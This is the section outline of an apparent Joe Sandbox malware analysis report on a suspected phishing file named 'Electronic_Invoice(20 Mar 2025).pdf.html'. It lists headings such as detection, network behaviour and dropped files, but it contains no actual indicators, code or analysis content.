Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Electronic_Invoice(20 Mar 2025).pdf.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Static File Info

General

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 704, Parent PID: 2540

General

File Activities

File Opened

File Created

Windows Analysis Report
Electronic_Invoice(20 Mar 2025).pdf.html